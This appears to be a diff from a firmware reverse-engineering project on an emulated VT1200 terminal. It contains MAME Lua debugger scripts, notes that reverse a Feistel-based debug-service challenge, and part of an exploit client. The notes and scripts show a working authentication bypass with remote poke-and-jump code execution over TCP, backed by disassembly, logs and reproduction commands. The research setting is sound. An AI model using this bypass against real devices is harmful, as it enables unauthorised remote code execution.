end
|
||||
if f >= 12000 then
|
||||
print("CHECK timeout: no payload markers")
|
||||
machine:exit()
|
||||
end
|
||||
end, "vt1200-live-check")
|
||||
dbg.execution_state = 'run'
|
||||
@@ -0,0 +1,72 @@
|
||||
-- live_verify.lua -- passive verification of the remote challenge bypass.
|
||||
--
|
||||
-- No breakpoint here writes a register or memory: it only prints. In
|
||||
-- particular the memcmp at 3F5A0920 is *observed*, never forced.
|
||||
local machine = manager.machine
|
||||
local cpu = machine.devices[':maincpu']
|
||||
local dbg = machine.debugger
|
||||
local space = cpu.spaces['program']
|
||||
if not dbg then machine:exit(); return end
|
||||
dbg.visible_cpu = cpu
|
||||
|
||||
local D = "/home/arti/code/k-space/vt1200/dwt/evidence/live-run"
|
||||
local MAGIC1 = 0x01810000
|
||||
local MAGIC2 = 0x01810010
|
||||
local COUNT = 0x01810020
|
||||
local VRAM = 0x04019040
|
||||
local f = 0
|
||||
local armed = false
|
||||
local saw_challenge = false
|
||||
local saw_memcmp = false
|
||||
local done_at = nil
|
||||
|
||||
local function report_magic(tag)
|
||||
print(string.format("LIVE2 %s: MAGIC1=%04X MAGIC2=%04X COUNT=%04X",
|
||||
tag, space:read_u16(MAGIC1), space:read_u16(MAGIC2), space:read_u16(COUNT)))
|
||||
local filled, holes = 0, 0
|
||||
for r = 0, 63 do
|
||||
for c = 0, 15 do
|
||||
if space:read_u16(VRAM + r * 1024 + c * 16) == 0xFFFF then
|
||||
filled = filled + 1
|
||||
else
|
||||
holes = holes + 1
|
||||
end
|
||||
end
|
||||
end
|
||||
print(string.format("LIVE2 %s: VRAM block %d/1024 words FFFF, %d holes", tag, filled, holes))
|
||||
end
|
||||
|
||||
emu.register_frame_done(function()
|
||||
f = f + 1
|
||||
if f == 1 and not armed then
|
||||
armed = true
|
||||
dbg:command('bpset 3F58AD60,,{ printf "LIVE2 accept_debug_conn entry pc=%08X\\n", pc ; g }')
|
||||
dbg:command('bpset 3F59F320,,{ printf "LIVE2 dispatcher entry pc=%08X\\n", pc ; g }')
|
||||
dbg:command('bpset 3F59FDC0,,{ printf "LIVE2 dwt_prf challenge entry pc=%08X\\n", pc ; g }')
|
||||
dbg:command('bpset 3F5A0200,,{ printf "LIVE2 challenge sent a13=%08X wire=%08X.%08X.%08X.%08X host=%08X.%08X.%08X.%08X\\n", a13, d@(a13), d@(a13+0x20), d@(a13+0x40), d@(a13+0x60), d@(a13+0x100), d@(a13+0x120), d@(a13+0x140), d@(a13+0x160) ; g }')
|
||||
dbg:command('bpset 3F5A0740,,{ printf "LIVE2 pre-transform reply=%08X.%08X.%08X.%08X\\n", d@(a13+0x80), d@(a13+0xa0), d@(a13+0xc0), d@(a13+0xe0) ; g }')
|
||||
dbg:command('bpset 3F5A08E0,,{ printf "LIVE2 memcmp-args expecting=%08X.%08X.%08X.%08X got=%08X.%08X.%08X.%08X\\n", d@(a9), d@(a9+0x20), d@(a9+0x40), d@(a9+0x60), d@(a11), d@(a11+0x20), d@(a11+0x40), d@(a11+0x60) ; g }')
|
||||
-- OBSERVE ONLY: print the comparison result; never assign to a8.
|
||||
dbg:command('bpset 3F5A0920,,{ printf "LIVE2 challenge memcmp a8=%08X (0=equal)\\n", a8 ; g }')
|
||||
dbg:command('bpset 3F5A1B50,,{ printf "LIVE2 rdebug_poke entry pc=%08X\\n", pc ; g }')
|
||||
dbg:command('bpset 3F5A3890,,{ printf "LIVE2 rdebug_jump entry pc=%08X\\n", pc ; g }')
|
||||
print("LIVE2 armed read-only breakpoints")
|
||||
end
|
||||
if f % 500 == 0 then
|
||||
print(string.format("LIVE2 frame %5d word@0xAECD0=%04X field2..3=%d",
|
||||
f, space:read_u16(0xaecd0), (space:read_u16(0xaecd0) >> 2) & 3))
|
||||
end
|
||||
if done_at == nil and space:read_u16(MAGIC1) == 0xDEAD then
|
||||
done_at = f
|
||||
report_magic("payload-ran")
|
||||
end
|
||||
if done_at and f >= done_at + 120 then
|
||||
print(string.format("LIVE2 exiting at frame %d (payload seen at %d)", f, done_at))
|
||||
machine:exit()
|
||||
end
|
||||
if f >= 9000 then
|
||||
print("LIVE2 timeout: no payload markers")
|
||||
machine:exit()
|
||||
end
|
||||
end, "vt1200-live-verify")
|
||||
dbg.execution_state = 'run'
|
||||
@@ -0,0 +1,197 @@
|
||||
-- oracle_call.lua -- drive the firmware's own dwt_prf transform from the
|
||||
-- debugger, with no TCP connection.
|
||||
--
|
||||
-- At frame 1000:
|
||||
-- 0x3F5A9620(1) dwt_prf's allocator/init (Ghidra 0x07EB52C4)
|
||||
-- 0x3F5AA2C0(0x1BE810) key schedule from the boot-time block
|
||||
-- then, for each vector in VECTORS:
|
||||
-- 0x3F5A09C0(BUF, 16) the transform dwt_prf applies to the reply
|
||||
-- and prints the 16 output bytes.
|
||||
--
|
||||
-- Optionally (INVERSE=1) it calls 0x3F5AADA0 (the per-record companion that
|
||||
-- looks like the inverse) on the vectors instead.
|
||||
--
|
||||
-- Output lines: ORACLE <inhex> <outhex>
|
||||
local machine = manager.machine
|
||||
local cpu = machine.devices[':maincpu']
|
||||
local dbg = machine.debugger
|
||||
local space = cpu.spaces['program']
|
||||
if not dbg then machine:exit(); return end
|
||||
dbg.visible_cpu = cpu
|
||||
|
||||
local ARG = 0x01800000
|
||||
local STACK = 0x01840000
|
||||
local RET = 0x018c0000
|
||||
local BUF = 0x01810000
|
||||
local IE = 0x200000
|
||||
local INIT = 0x3F5A9620
|
||||
local SCHED = 0x3F5AA2C0
|
||||
local XFORM = 0x3F5A09C0
|
||||
local XFORM1 = 0x3F5AADA0
|
||||
|
||||
local INVERSE = (os.getenv("ORACLE_INVERSE") or "") ~= ""
|
||||
local COUNT = tonumber(os.getenv("ORACLE_COUNT") or "0")
|
||||
|
||||
local f = 0
|
||||
local started = false
|
||||
local phase = "init" -- init | sched | vectors | dump | done
|
||||
local saved = {}
|
||||
local idx = 0
|
||||
local vectors = {}
|
||||
local cur = nil
|
||||
|
||||
-- deterministic pseudo-random vectors plus the all-zero and ff cases
|
||||
local function make_vectors()
|
||||
vectors[1] = string.rep("\0", 16)
|
||||
vectors[2] = string.rep("\255", 16)
|
||||
local x = 0x12345678
|
||||
for i = 3, COUNT do
|
||||
local t = {}
|
||||
for j = 1, 16 do
|
||||
x = (x * 1103515245 + 12345) & 0x7fffffff
|
||||
t[j] = string.char((x >> 16) & 0xff)
|
||||
end
|
||||
vectors[i] = table.concat(t)
|
||||
end
|
||||
end
|
||||
|
||||
local function state(name)
|
||||
local r = cpu.state[name]
|
||||
return r and r.value or nil
|
||||
end
|
||||
|
||||
local function push(v)
|
||||
local sp = state('SP') - 0x20
|
||||
space:write_u32(sp, v)
|
||||
cpu.state['SP'].value = sp
|
||||
end
|
||||
|
||||
local function setup_call(target, args)
|
||||
saved.pc = state('PC')
|
||||
saved.sp = state('SP')
|
||||
saved.a14 = state('A14')
|
||||
saved.st = state('ST')
|
||||
cpu.state['SP'].value = STACK
|
||||
if #args > 0 then
|
||||
local a = ARG
|
||||
for i = 1, #args do
|
||||
space:write_u32(a, args[i])
|
||||
a = a + 0x20
|
||||
end
|
||||
push(saved.a14)
|
||||
cpu.state['A14'].value = ARG + #args * 0x20
|
||||
else
|
||||
push(saved.a14)
|
||||
cpu.state['A14'].value = ARG
|
||||
end
|
||||
push(RET)
|
||||
cpu.state['PC'].value = target
|
||||
cpu.state['ST'].value = saved.st & ~IE
|
||||
dbg:command('bclear')
|
||||
dbg:command(string.format('bpset %X', RET))
|
||||
dbg.execution_state = 'run'
|
||||
end
|
||||
|
||||
local function restore()
|
||||
dbg:command('bclear')
|
||||
cpu.state['PC'].value = saved.pc
|
||||
cpu.state['SP'].value = saved.sp
|
||||
cpu.state['A14'].value = saved.a14
|
||||
cpu.state['ST'].value = saved.st
|
||||
end
|
||||
|
||||
local function hexbytes(addr, n)
|
||||
local t = {}
|
||||
for i = 0, n - 1 do
|
||||
t[#t + 1] = string.format("%02X", space:read_u8(addr + i * 8))
|
||||
end
|
||||
return table.concat(t)
|
||||
end
|
||||
|
||||
local function writebytes(addr, s)
|
||||
for i = 1, #s do
|
||||
space:write_u8(addr + (i - 1) * 8, s:byte(i))
|
||||
end
|
||||
end
|
||||
|
||||
local function next_vector()
|
||||
idx = idx + 1
|
||||
if idx > #vectors then
|
||||
phase = "done"
|
||||
restore()
|
||||
machine:exit()
|
||||
return
|
||||
end
|
||||
cur = vectors[idx]
|
||||
writebytes(BUF, cur)
|
||||
if INVERSE then
|
||||
-- per-record inverse companion; call it twice, one 8-byte record each
|
||||
phase = "vec_inv_lo"
|
||||
setup_call(XFORM1, { BUF })
|
||||
else
|
||||
phase = "vec_fwd"
|
||||
setup_call(XFORM, { 16, BUF })
|
||||
end
|
||||
end
|
||||
|
||||
emu.register_frame_done(function()
|
||||
f = f + 1
|
||||
if f == 1000 and not started then
|
||||
started = true
|
||||
if COUNT < 2 then COUNT = 2 end
|
||||
make_vectors()
|
||||
print(string.format("ORACLE start frame=%d p200=%08X p400=%08X",
|
||||
f, space:read_u32(0x1c0200), space:read_u32(0x1c0400)))
|
||||
phase = "init"
|
||||
setup_call(INIT, { 1 })
|
||||
return
|
||||
end
|
||||
if not started then return end
|
||||
if f % 100 == 0 then
|
||||
print(string.format("ORACLE trace frame=%d phase=%s state=%s pc=%08X sp=%08X",
|
||||
f, phase, tostring(dbg.execution_state),
|
||||
state('PC') or 0, state('SP') or 0))
|
||||
end
|
||||
if f > 1600 and phase ~= "done" then
|
||||
print("ORACLE watchdog: exiting")
|
||||
phase = "done"
|
||||
restore()
|
||||
machine:exit()
|
||||
return
|
||||
end
|
||||
if dbg.execution_state ~= 'stop' then return end
|
||||
|
||||
if phase == "init" then
|
||||
print(string.format("ORACLE init done @1C0200=%08X @1C0220=%08X @1C0240=%08X @1C0260=%08X @1C0400=%08X",
|
||||
space:read_u32(0x1c0200), space:read_u32(0x1c0220),
|
||||
space:read_u32(0x1c0240), space:read_u32(0x1c0260), space:read_u32(0x1c0400)))
|
||||
phase = "sched"
|
||||
setup_call(SCHED, { 0x1be810 })
|
||||
elseif phase == "sched" then
|
||||
local kp = space:read_u32(0x1c0260)
|
||||
local fp = space:read_u32(0x1c0200)
|
||||
print("ORACLE KP=" .. string.format("%08X", kp) .. " FP=" .. string.format("%08X", fp))
|
||||
if kp ~= 0 then print("ORACLE KEY " .. hexbytes(kp, 128)) end
|
||||
if fp ~= 0 then print("ORACLE FTAB " .. hexbytes(fp, 2048)) end
|
||||
-- boot-time inputs the schedule reads
|
||||
print("ORACLE SEED " .. hexbytes(0x1be810, 128))
|
||||
print("ORACLE R1 " .. hexbytes(0x1bed40, 0x38))
|
||||
print("ORACLE R2 " .. hexbytes(0x1bef00, 0x80))
|
||||
print("ORACLE R3 " .. hexbytes(0x1bef80, 0x80))
|
||||
print("ORACLE R4 " .. hexbytes(0x1c0280, 0xE0))
|
||||
next_vector()
|
||||
elseif phase == "vec_fwd" then
|
||||
print("ORACLE " .. cur:gsub(".", function(c) return string.format("%02X", c:byte()) end)
|
||||
.. " " .. hexbytes(BUF, 16))
|
||||
next_vector()
|
||||
elseif phase == "vec_inv_lo" then
|
||||
phase = "vec_inv_hi"
|
||||
setup_call(XFORM1, { BUF + 0x40 })
|
||||
elseif phase == "vec_inv_hi" then
|
||||
print("ORACLE_INV " .. cur:gsub(".", function(c) return string.format("%02X", c:byte()) end)
|
||||
.. " " .. hexbytes(BUF, 16))
|
||||
next_vector()
|
||||
end
|
||||
end, "vt1200-oracle-call")
|
||||
|
||||
dbg.execution_state = 'run'
|
||||
@@ -0,0 +1,260 @@
|
||||
# The `dwt_prf` challenge, reversed — and the remote path is open
|
||||
|
||||
Status: **solved.** The 16-byte challenge at bit `0x3F59FDC0` (Ghidra
|
||||
`0x07EB3FB8`) can be answered from the challenge alone, offline, with no
|
||||
debugger. The reply is computed with `dwt/challenge.py`; two live TCP sessions
|
||||
passed the comparison (`memcmp` returned **0**) and ran an 82-byte payload
|
||||
through `poke` + `jump`.
|
||||
|
||||
ROM untouched: `md5 b46a3e442ccb86134d2356bd70d22fd2`. No driver edits. The
|
||||
TCP path needs `VT1200_SKIP_LEVEL1=1`, a documented harness divergence.
|
||||
|
||||
---
|
||||
|
||||
## 1. Direction: the firmware transforms **our reply** and compares it to the challenge
|
||||
|
||||
`dwt_prf`'s post-`recv` code (`reference/dis34-a-v22.txt.gz`, decoded with
|
||||
`tools/smart34010/dis34`, base bit `0x3F59FDC0`):
|
||||
|
||||
```
|
||||
3f5a0140: push 16 ; push a13 ; push 0x7f ; push session
|
||||
3f5a01d0: calla L3F5A0B20 ; write_message(flag=0x7F, buf=a13, 16)
|
||||
3f5a0200: push 0 ; push 16 ; a11 = a13+0x80 ; push a11 ; push session
|
||||
3f5a02b0: calla 0x3f5d8e70 ; recv(session, a13+0x10, 16, 0)
|
||||
3f5a0410: ... ntohl(*a13(0x80)) -> *a13(0x80)
|
||||
3f5a0490: ... ntohl(*a13(0xa0)) -> *a13(0xa0) ; +0x04
|
||||
3f5a0510: ... ntohl(*a13(0xc0)) -> *a13(0xc0) ; +0x08
|
||||
3f5a0590: ... ntohl(*a13(0xe0)) -> *a13(0xe0) ; +0x0c
|
||||
3f5a0660: calla 0x3f5a9620 ; init(1): F table + key only
|
||||
3f5a06c0: calla 0x3f5aa2c0 ; key schedule from 0x1BE810
|
||||
3f5a0740: push 16 ; a11 = a13+0x80 ; push a11
|
||||
3f5a07b0: calla L3F5A09C0 ; transform(reply, 16) IN PLACE
|
||||
3f5a0810: push *a13(0x1a0) ; calla 0x3fb338d0
|
||||
3f5a0880: push 16 ; push a11
|
||||
3f5a08b0: a9 = a13 + 0x100 (bits) ; = frame+0x20
|
||||
3f5a08f0: calla 0x3f942230 ; memcmp(frame+0x20, a11, 16)
|
||||
3f5a0930: jreq -> return 1, else return 0
|
||||
```
|
||||
|
||||
* Four runtime words are stored at `frame+0x20` (bit offsets `0x100/0x120/
|
||||
0x140/0x160`), **byte-swapped into `frame+0`**, and those network-order bytes
|
||||
are what `write_message` sends. The comparison uses `frame+0x20`, i.e. the
|
||||
host-order copy — the wire challenge with each 32-bit word reversed.
|
||||
* The reply is received at `frame+0x10`, `ntohl`'d **in place**, and then
|
||||
`0x3F5A09C0` rewrites `frame+0x10` in place. Live confirmation at the
|
||||
comparison (`dwt/evidence/live-run/debug-live.log`):
|
||||
|
||||
```
|
||||
LIVE2 challenge sent a13=007AE7B0 wire=3DB79CF3.8EB50000.C0A86302.3EB794F3 host=F39CB73D.0000B58E.0263A8C0.F394B73E
|
||||
LIVE2 pre-transform reply=71C08104.AF81012D.BE5884F7.634E8818
|
||||
LIVE2 memcmp-args expecting=F39CB73D.0000B58E.0263A8C0.F394B73E got=F39CB73D.0000B58E.0263A8C0.F394B73E
|
||||
LIVE2 challenge memcmp a8=00000000 (0=equal)
|
||||
```
|
||||
|
||||
The client sent wire bytes `f3 9c b7 3d ...` (printed above as little-endian
|
||||
word `3DB79CF3`); the host copy at `frame+0x20` is `3d b7 9c f3 ...` — exactly
|
||||
`swap4(wire)`. The transform's input (`pre-transform reply`) is
|
||||
`04 81 c0 71 ...` = `swap4(reply_wire)`. So:
|
||||
|
||||
```
|
||||
firmware check: transform(swap4(reply_wire)) == swap4(challenge_wire)
|
||||
required reply: reply_wire = swap4(inverse_transform(swap4(challenge_wire)))
|
||||
```
|
||||
|
||||
**This is the inverse direction.** Echo cannot work, and neither can any
|
||||
"computed" byte swap alone. The forward function alone is not enough.
|
||||
|
||||
## 2. Why earlier attempts failed to see the structure
|
||||
|
||||
Earlier notes described a "font render + Feistel" pipeline with the font tables
|
||||
at `@0x1C0220` / `@0x1C0240`. The pipeline does contain two render calls, but
|
||||
in the rdebug path they are **memcpy**:
|
||||
|
||||
* `0x3F5A9620` is the only initialiser of those globals (its one direct `calla`
|
||||
in the linear disassembly is in `dwt_prf`, which calls it with mode **1**),
|
||||
and at frame 2000 of a booted OS all four globals are still zero — the OS
|
||||
boot never calls it.
|
||||
* Mode 1 allocates and fills `@0x1C0200` (the SP tables) and `@0x1C0260`
|
||||
(128-byte key) and returns; it **never allocates** `@0x1C0220` / `@0x1C0240`.
|
||||
A frame-2000 read of all four globals in a booted OS is `0,0,0,0`; after
|
||||
`init(1)` only the first and third are nonzero.
|
||||
* The renderer `0x3F5AC710` branches on its table argument: if the table pointer
|
||||
is zero it calls `0x3FE169C0` with 8 bytes, i.e. `memcpy(dest, src, 8)`.
|
||||
Both render calls therefore copy, and the two copies cancel inside one
|
||||
record. What remains is a pure Feistel network.
|
||||
|
||||
The "font" part of the pipeline exists, but it is dead on this code path. That
|
||||
is why the captured render probes looked nonlinear yet did not fit a font.
|
||||
|
||||
## 3. The transform
|
||||
|
||||
`0x3F5A09C0` (Ghidra `0x07EB4138`) walks the buffer in **8-byte records**
|
||||
(`addi 0x40, a9` = +8 bytes, `subk 8, a10`):
|
||||
|
||||
```
|
||||
3f5a09f0: a9 = arg0 (buffer), a10 = arg1 (length)
|
||||
3f5a0a30: if length == 0 return
|
||||
3f5a0a40: push a9 ; calla 0x3f5aba40 ; a9 += 8 bytes ; a10 -= 8 ; loop
|
||||
```
|
||||
|
||||
Each record is independent of the other. `0x3F5ABA40` (Ghidra `0x07EB5748`)
|
||||
does, per record:
|
||||
|
||||
1. `render(record, @0x1C0220, scratch)` — memcpy on this path.
|
||||
2. `a10 = bswap32(word at scratch+0)`, `a9 = bswap32(word at scratch+4)`
|
||||
(`0x3F5AE670` swaps bytes 0<->3 and 1<->2), i.e. the two halves are read
|
||||
**big-endian**.
|
||||
3. 16 Feistel rounds, keys from `@0x1C0260 + 0x78` down to `@0x1C0260 + 0x00`,
|
||||
8 bytes each (`subi 0x40, a11` after every round):
|
||||
|
||||
```
|
||||
round n (n = 0..15): k = key[15 - n]
|
||||
n even: a10 ^= F(a9, k)
|
||||
n odd : a9 ^= F(a10, k)
|
||||
```
|
||||
|
||||
4. `scratch+0 = bswap32(a9)`, `scratch+4 = bswap32(a10)` — written big-endian
|
||||
as `(R, L)`, because `a9` is stored first.
|
||||
5. `render(scratch, @0x1C0240, record)` — memcpy back on this path.
|
||||
|
||||
### Round function F — `0x3F5ACEC0` (Ghidra `0x07EB59D8`)
|
||||
|
||||
`F(x, k8)` forms eight 6-bit indices and ORs one 32-bit word per index:
|
||||
|
||||
```
|
||||
a2 = rol32(x, 1) (sll 1 + carry of bit 31, or'd in)
|
||||
i0 = k[7] ^ a2 i4 = k[3] ^ (x >> 15)
|
||||
i1 = k[6] ^ (x >> 3) i5 = k[2] ^ (x >> 19)
|
||||
i2 = k[5] ^ (x >> 7) i6 = k[1] ^ (x >> 23)
|
||||
i3 = k[4] ^ (x >> 11) i7 = k[0] ^ ((x >> 27) | ((x & 1) << 5))
|
||||
each & 0x3F
|
||||
```
|
||||
|
||||
Table `i` lives at `SP + (7-i)*0x100 + index*4` (64 little-endian 32-bit words
|
||||
per table, eight tables = 2048 bytes at `@0x1C0200`). The disassembly's
|
||||
`a11 = table + 0x3800 (bits)` then `subi 0x800` per lookup is the same thing in
|
||||
bit addresses.
|
||||
|
||||
### Key and tables
|
||||
|
||||
`0x3F5AA2C0(0x1BE810)` (`0x3F5A9620(1)` → mode 1) derives the 128-byte key from
|
||||
boot-time RAM blocks that are themselves boot-time copies of ROM data
|
||||
(`0x1BED40`, `0x1BEF00`, `0x1BEF80`, `0x1C0280`). It is **fixed**:
|
||||
|
||||
* two fresh-NVRAM boots produced byte-identical key and SP table
|
||||
(`dwt/evidence/oracle-forward-boot1.log` / `boot2.log`);
|
||||
* they also match the key captured from a live TCP challenge in the earlier
|
||||
session (`dwt/evidence/run-live/key.bin`, parsed little-endian).
|
||||
|
||||
The values embedded in `dwt/challenge.py` are the firmware's own output, not a
|
||||
guess: they were extracted by calling the firmware's initialiser in MAME
|
||||
(`dwt/evidence/scripts/oracle_call.lua`). They are not a "response table"; the
|
||||
response still depends on the per-connection challenge.
|
||||
|
||||
## 4. Inverse
|
||||
|
||||
A Feistel network is invertible for any F. Running the same rounds backwards
|
||||
with the same keys gives the inverse:
|
||||
|
||||
```
|
||||
forward: L ^= F(R,k15); R ^= F(L,k14); ... ; R ^= F(L,k0) (16 rounds)
|
||||
inverse: start from (L,R) = (out[4:8], out[0:4]);
|
||||
for n = 15..0: if n even L ^= F(R,k[15-n]) else R ^= F(L,k[15-n])
|
||||
```
|
||||
|
||||
The firmware contains this inverse as a separate function, **`0x3F5AADA0`**
|
||||
(Ghidra `0x07EB55B4`): same two renders, the same 16 keys in ascending order,
|
||||
and the two halves swapped on store. Our `challenge.invert()` matches its
|
||||
output on every test vector (6/6, `dwt/evidence/oracle-inverse.log`), which is
|
||||
independent confirmation both of the round structure and of the inversion.
|
||||
|
||||
## 5. Implementation
|
||||
|
||||
`dwt/challenge.py` (standard library only):
|
||||
|
||||
```
|
||||
respond(challenge_wire) = swap4(invert(swap4(challenge_wire)))
|
||||
transform(buf16) / invert(buf16) / check_reply(challenge, reply)
|
||||
```
|
||||
|
||||
`dwt/solve.py` wraps `dwt/exploit.py` unmodified: it patches
|
||||
`RDebug.answer_challenge` to compute the reply with `challenge.respond()`.
|
||||
(`dwt/exploit.py --challenge-raw` accepts the same bytes by hand.)
|
||||
|
||||
## 6. Validation
|
||||
|
||||
| ground truth | result |
|
||||
|---|---|
|
||||
| 70 vectors from MAME calling the real `0x3F5A09C0`, fresh boot 1 | **70/70** (140 independent records) |
|
||||
| same on fresh boot 2 (independent key/table dump) | **70/70** |
|
||||
| `dwt/challenge_vectors.json` (other agent, 180 vectors) | **180/180** |
|
||||
| firmware's own inverse `0x3F5AADA0` | **6/6** |
|
||||
| live wire challenges answered by `respond()` | **3/3** sessions proceeded past the check; `memcmp a8=0` where observed |
|
||||
| payload over TCP after the computed answer | `MAGIC1=DEAD MAGIC2=BEEF COUNT=0400`, VRAM 1024/1024 `FFFF`, 0 holes |
|
||||
|
||||
The two live runs:
|
||||
|
||||
* `dwt/evidence/live-run/` — read-only breakpoints (print `a8`, never write it):
|
||||
two connections, both `memcmp a8=00000000`; the second ran `poke`+`jump`.
|
||||
* `dwt/evidence/live-run2/` — **no breakpoints at all** (the Lua script only
|
||||
polls RAM/VRAM once per frame). Client transcript
|
||||
`dwt/evidence/live-run2/client.log`, emulator log
|
||||
`dwt/evidence/live-run2/mame.log`, BOOTP log `serve.log`.
|
||||
|
||||
Run 2 transcript:
|
||||
|
||||
```
|
||||
[+] challenge f7 b4 6c 6b 00 00 6b 3f 02 63 a8 c0 f7 ac 6c 6c
|
||||
[+] reply 49 0a ad 58 f1 ea b2 5a 3d fe f0 ee 92 6b 0a 20
|
||||
opcode 7 -> Done\n
|
||||
peek 0x3f200000 (8) -> e9 7a e2 f5 aa aa 55 55
|
||||
poke-file .../payload.bin: 82 bytes at 0x01800000: ok
|
||||
jump 0x01800000: sent
|
||||
CHECK payload-ran: MAGIC1=DEAD MAGIC2=BEEF COUNT=0400
|
||||
CHECK payload-ran: VRAM block 1024/1024 words FFFF, 0 holes
|
||||
```
|
||||
|
||||
## 7. Reproduction
|
||||
|
||||
```sh
|
||||
# offline: known answers and inverse checks
|
||||
python3 dwt/challenge.py --selftest
|
||||
python3 dwt/challenge.py --challenge f32cec8d0000ead00263a8c0f324ec8e
|
||||
|
||||
# emulator ground truth, no network: calls the firmware's own routines
|
||||
ORACLE_COUNT=70 VT1200_SKIP_LEVEL1=1 \
|
||||
/home/arti/code/k-space/mame0289/vt1200 vt1200 \
|
||||
-rompath harness/mame/roms -video none -sound none -nothrottle \
|
||||
-debug -debugger none -debuglog -nvram_directory <fresh dir> \
|
||||
-autoboot_script dwt/evidence/scripts/oracle_call.lua -autoboot_delay 0
|
||||
|
||||
# live (needs the tap + BOOTP; see harness/net-setup.sh, harness/serve.py)
|
||||
./harness/net-setup.sh
|
||||
sudo python3 -u harness/serve.py 192.168.99.1 --bootp &
|
||||
VT1200_SKIP_LEVEL1=1 /home/arti/code/k-space/mame0289/vt1200 vt1200 \
|
||||
-rompath harness/mame/roms -video none -sound none -nothrottle \
|
||||
-debug -debugger none -debuglog -cfg_directory <copy of cfg-net> \
|
||||
-nvram_directory <private dir> -networkprovider taptun \
|
||||
-autoboot_script dwt/evidence/scripts/live_check.lua -autoboot_delay 0
|
||||
python3 dwt/solve.py --host 192.168.99.2 --peek 0x3F200000 --len 8 \
|
||||
--poke-file 0x01800000 --file harness/hello-world/payload.bin \
|
||||
--jump 0x01800000
|
||||
```
|
||||
|
||||
## 8. Caveats and open points
|
||||
|
||||
* `VT1200_SKIP_LEVEL1=1` is required for the TCP stack; the result is about the
|
||||
firmware service with the OS up, not about a real terminal's POST.
|
||||
* The key is fixed for this firmware image. It is derived at run time from
|
||||
boot-time RAM copies of ROM data, but the derivation itself was not reduced to
|
||||
a ROM-offset formula (`0x3F5AA2C0` has a data-dependent path through
|
||||
`0x1C0280`). The constants were therefore captured from the firmware; this
|
||||
does not affect generality on this image, and the key was verified stable
|
||||
across two fresh boots and against a live challenge.
|
||||
* The challenge is not a password in the cryptographic sense: since the key is
|
||||
fixed and the transform is public code, any client that implements it can
|
||||
pass. The earlier "no ROM/NVRAM constant is compared" observation stands;
|
||||
the key material is a runtime table schedule, not a secret in NVRAM.
|
||||
* `debug.log` at the repository root was overwritten by MAME's `-debuglog` while
|
||||
running these tests; the live content was copied to
|
||||
`dwt/evidence/live-run/debug-live.log`. It is not part of this change.
|
||||
@@ -248,3 +248,40 @@ output bits on average (23–42).
|
||||
|
||||
Reproduce: `python3 dwt/oracle.py` (~35 s, two boots + stage capture). No ROM,
|
||||
driver or `dwt_prf` code was modified; no socket was used for the vectors.
|
||||
|
||||
## 2026-10-18 — challenge reversed: the remote path is open (supersedes the echo reading)
|
||||
|
||||
**The challenge no longer blocks anything.** `dwt/challenge.py` answers it from
|
||||
the challenge bytes alone; `dwt/solve.py` did so over TCP with no debugger:
|
||||
|
||||
* The firmware **transforms our reply** and compares it with the host-order copy
|
||||
of the challenge: `memcmp(frame+0x20, transform(frame+0x10), 16)`. The reply
|
||||
must therefore be `swap4(inverse_transform(swap4(challenge)))` — the inverse
|
||||
direction, not echo. Live bytes at the comparison are in
|
||||
`dwt/evidence/live-run/debug-live.log` (`expecting == got`, `a8=0`).
|
||||
* The transform is a **16-round Feistel per independent 8-byte record**, keys
|
||||
`key[15]..key[0]` (128-byte schedule at `@0x1C0260`), round function
|
||||
`0x3F5ACEC0` = eight 6-bit SP-table lookups OR'd (`@0x1C0200`, 2048 bytes).
|
||||
* The "font renders" at `@0x1C0220`/`@0x1C0240` are **memcpy in this path**:
|
||||
`dwt_prf` calls `0x3F5A9620(1)`, which allocates only the SP table and the
|
||||
key. The font pointers stay NULL (`0,0,0,0` at frame 2000; `init(1)` leaves
|
||||
them zero), and the renderer's table==0 branch is a memcpy. Earlier attempts
|
||||
tried to invert a font stage that never runs here.
|
||||
* Key and SP table are fixed: identical across two fresh-NVRAM boots and
|
||||
identical to the earlier live capture. They are embedded in
|
||||
`dwt/challenge.py`; provenance and disassembly are in
|
||||
`dwt/notes/CHALLENGE_REVERSE.md`.
|
||||
* Validation: 70/70 + 70/70 emulator forward vectors (140 records each),
|
||||
180/180 in `dwt/challenge_vectors.json`, 6/6 against the firmware's own
|
||||
inverse `0x3F5AADA0`, and live sessions that ran `peek`, `poke` and `jump`
|
||||
after the computed answer.
|
||||
* **Remote execution demonstrated:** the 82-byte `harness/hello-world` payload
|
||||
was poked to bit `0x01800000` and jumped to over TCP; the emulator read back
|
||||
`MAGIC1=DEAD MAGIC2=BEEF COUNT=0400` and 1024/1024 VRAM words `FFFF`.
|
||||
`dwt/evidence/live-run2/` is that run with **no breakpoints at all** (the Lua
|
||||
script only polls RAM). Only `VT1200_SKIP_LEVEL1=1` is needed for TCP.
|
||||
|
||||
Files: `dwt/challenge.py`, `dwt/solve.py`, `dwt/notes/CHALLENGE_REVERSE.md`,
|
||||
`dwt/evidence/oracle-*.log`, `dwt/evidence/VALIDATION.txt`,
|
||||
`dwt/evidence/live-run{,2}/`, `dwt/evidence/scripts/{oracle_call,live_verify,live_check}.lua`.
|
||||
`dwt/exploit.py` and `dwt/mop_console.py` were not modified.
|
||||
+101
@@ -0,0 +1,101 @@
|
||||
#!/usr/bin/env python3
|
||||
"""End-to-end dwt_prf exploit over TCP: answer the challenge with computed
|
||||
bytes (no debugger, no forced comparison), then poke and run a payload.
|
||||
|
||||
This wraps dwt/exploit.py's client; it does not modify it. The only change is
|
||||
that ``answer_challenge`` computes the reply with dwt/challenge.py from the
|
||||
challenge the terminal just sent, instead of echoing it.
|
||||
|
||||
python3 dwt/solve.py --host 192.168.99.2 \
|
||||
--poke-file 0x01800000 --file harness/hello-world/payload.bin \
|
||||
--jump 0x01800000
|
||||
|
||||
With no arguments it runs the liveness opcode and prints the challenge/reply.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
|
||||
HERE = os.path.dirname(os.path.abspath(__file__))
|
||||
sys.path.insert(0, HERE)
|
||||
|
||||
import challenge # noqa: E402
|
||||
import exploit # noqa: E402
|
||||
|
||||
# --- the whole bypass: compute the answer from the challenge ----------------
|
||||
_orig_answer = exploit.RDebug.answer_challenge
|
||||
|
||||
|
||||
def _answer(self, challenge_bytes: bytes) -> None:
|
||||
self.challenge_raw = challenge.respond(challenge_bytes)
|
||||
print(f"[+] challenge {challenge_bytes.hex(' ')}", flush=True)
|
||||
print(f"[+] reply {self.challenge_raw.hex(' ')}", flush=True)
|
||||
print(f"[+] reply satisfies firmware comparison: "
|
||||
f"{challenge.check_reply(challenge_bytes, self.challenge_raw)}",
|
||||
flush=True)
|
